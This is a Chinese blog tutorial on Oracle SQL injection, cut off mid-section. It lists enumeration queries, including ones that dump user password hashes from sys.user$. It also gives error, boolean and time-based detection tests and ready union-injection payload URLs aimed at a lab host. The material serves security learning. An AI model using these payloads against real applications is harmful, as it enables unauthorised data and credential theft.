WEB安全之:Oracle 数据库 SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Oracle 数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系型数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。

img

  • 数据文件(dbf)

ORACLE8i 之前数据文件的后缀名为 .ora,之后为 .dbf ,实际使用没任何区别

数据文件是数据库的物理存储单位。数据库的数据是存储在表空间中的,真正是在某一个或者多个数据文件中,而一个表空间可以由一个或多个数据文件组成,一个数据文件只能属于一个表空间。一旦数据文件被加入到某个表空间后,就不能删除这个文件,如果要删除某个数据文件,只能删除其所属于的表空间才行。

  • 表空间

表空间是 Oracle 对物理数据库上相关数据文件(ORA 或者 DBF 文件)的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间,每个表空包含了在逻辑上相关联的一组结构。每个数据库至少有一个表空间(称之为 system 表空间)。每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据库文件(datafile)。

  • 用户

用户是在实例下建立的。不同实例中可以建相同名字的用户。注:表的数据,是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或者多个数据文件中。Oracle 是由用户和表空间对数据进行管理和存放的,并以用户来区分,因此表不是由表空间去查询的,而是由用户去查的。因为不同用户可以在同一个表空间建立同一个名字的表!

  • 数据库和实例

Oracle 数据库服务器由一个数据库(database)和至少一个数据库实例(instance)组成。 数据库是一组存储数据的文件,而数据库实例则是管理数据库文件的内存结构。此外,数据库是由后台进程组成。数据库和实例是紧密相连的,所以我们一般说的 Oracle 数据库,通常指的就是实例和数据库。

1 Oracle 数据库 SQL 注入基础知识

  • 端口号:1521

1.1 Oracle 特性

1.1.1 dual 表

  • Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;
  • dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取
  • Oracle 保证 dual 里面永远只有一条记录

1.1.2 null 类型

  • Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型

1.2 || 连接运算符

  • 在 Oracle中,|| 运算符可以将两个或两个以上的字符串连接在一起。
  • 支持 || 运算符的 Oracle 版本:Oracle 12c、 Oracle 11g、 Oracle 10g、Oracle 9i
select username||password from admin

1.3 注释符号

1. --(单行注释)
2. /* 多行注释 */ 

1.4 Oracle 注入常用语句及函数

1. 查询 Oracle 版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;

2. 获取当前数据库用户
SELECT user FROM dual;

3. 列出所有用户
SELECT name FROM sys.user$; — priv;
SELECT username FROM all_users ORDER BY username;

4. 列出用户与密码
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g
# astatus能够在 acct 被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv; 11g

5. 获取当前用户权限
SELECT * FROM session_privs; 

6. 获取所有用户权限
SELECT * FROM dba_sys_privs -- priv; 

7. 获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;

8. 列出 DBA 账户
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;

9. 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual;  查IP
SELECT UTL_INADDR.get_host_name(127.0.0.1) FROM dual;

10. 获取 DB 文件路径
SELECT name FROM V$DATAFILE;  

11. 查询服务器 SID
select instance_name from v$instance;

12. 查询当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual

13. 限制查询返回的总行数为一条
rownum=1

14. 查询出所有的表
select * from all_tables

15. 查询出当前用户的表
select * from user_tables

16. 查询出所有的字段
select * from all_tab_columns

17. 查询出当前用户的字段
select * from user_tab_columns

18. 查询日志文件路径
select member from v$logfile

2 注入检测方法

2.1 正常查询方法

通过正常查询观察可注入点;

2.2 基于闭合报错的检测方法

一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号' 数据库因为多输入字符导致无法闭合而报错;

Oracle 中,双引号 " 用来消除系统关键字。

javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01756: 引号内的字符串没有正确结束

2.3 基于布尔的检测方法

基于页面返回的信息是否相同的检测方法判断,再进一步确认服务端是否可执行

  • and 1=1
  • and 1=2

2.4 基于时间的检测方法

  • dbms_pipe.receive_message('RDS', 3) 函数将为从RDS管道返回的数据等待 3 秒。此语句能以内联方式注入延迟。默认情况下,允许以 public 权限执行该包。
  • DBMS_LOCK.SLEEP() 函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包
and dbms_pipe.receive_message('RDS', 3)=1
例:
http://oracle.lab.com/oraclei.jsp?id=1 and dbms_pipe.receive_message('RDS', 3)=1

3 Oracle 查询信息

3.1 Union 联合查询注入方法

3.1.1 猜测表字段数

order by 1:查询当前表中包含几个字段,数字变换尝试,

例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' order by 3--
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以使用 select NULL,NULL from dual 查询数据

3.1.2 查询系统信息

  • 使用 union select null,null,查询函数 查询数据库系统信息
  • 与 Mysql 数据库不同,Oracle 使用联合查询进要求每一列的查询内容类型要与数据库字段类型一致。
  • Oracle 数据库中,所有字段均支持 null (空值),因此可以使用 null 来填充查询字段。
1. 查询内容与数据库字段类型不一致报错
例: http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,(select banner from sys.v_$version where rownum=1) from dual--
# javax.servlet.ServletException: java.sql.SQLSyntaxErrorException: ORA-01789: 查询块具有不正确的结果列数

2. 查询数据库版本信息
select banner from sys.v_$version where rownum=1
例:http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select banner from sys.v_$version where rownum=1) from dual--

3.1.3 查询用户名称

  • Oracle 中当前表所属用户,相当于当前库
1. 查询当前用户
SELECT user FROM dual
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(SELECT user FROM dual) from dual--
  • 查询其他用户名
1. 查询所有用户个数
select count(DISTINCT owner) from all_tables
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(DISTINCT owner) from all_tables),null,null from dual--

2. 查询第一个用户名称
select DISTINCT owner from all_tables where rownum=1
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select DISTINCT owner from all_tables where rownum=1) from dual--

3. 查询第三个用户名称
select DISTINCT owner from all_tables where rownum=1 and owner <>'SYS'and owner<>'SYSTEM'
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select null,null,(select DISTINCT owner from all_tables where rownum=1 and owner <>'SYS' and owner<>'SYSTEM') from dual--

3.1.4 查询表名称

方式一

1. 查询当前数据库中表的个数
select count(*) from user_tables
例:
http://oracle.lab.com/oraclei.jsp?username=MANAGER' union select (select count(*) from user_tables),null,null from dual--

2.  查询当前第一个表名称
select
  • 6
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值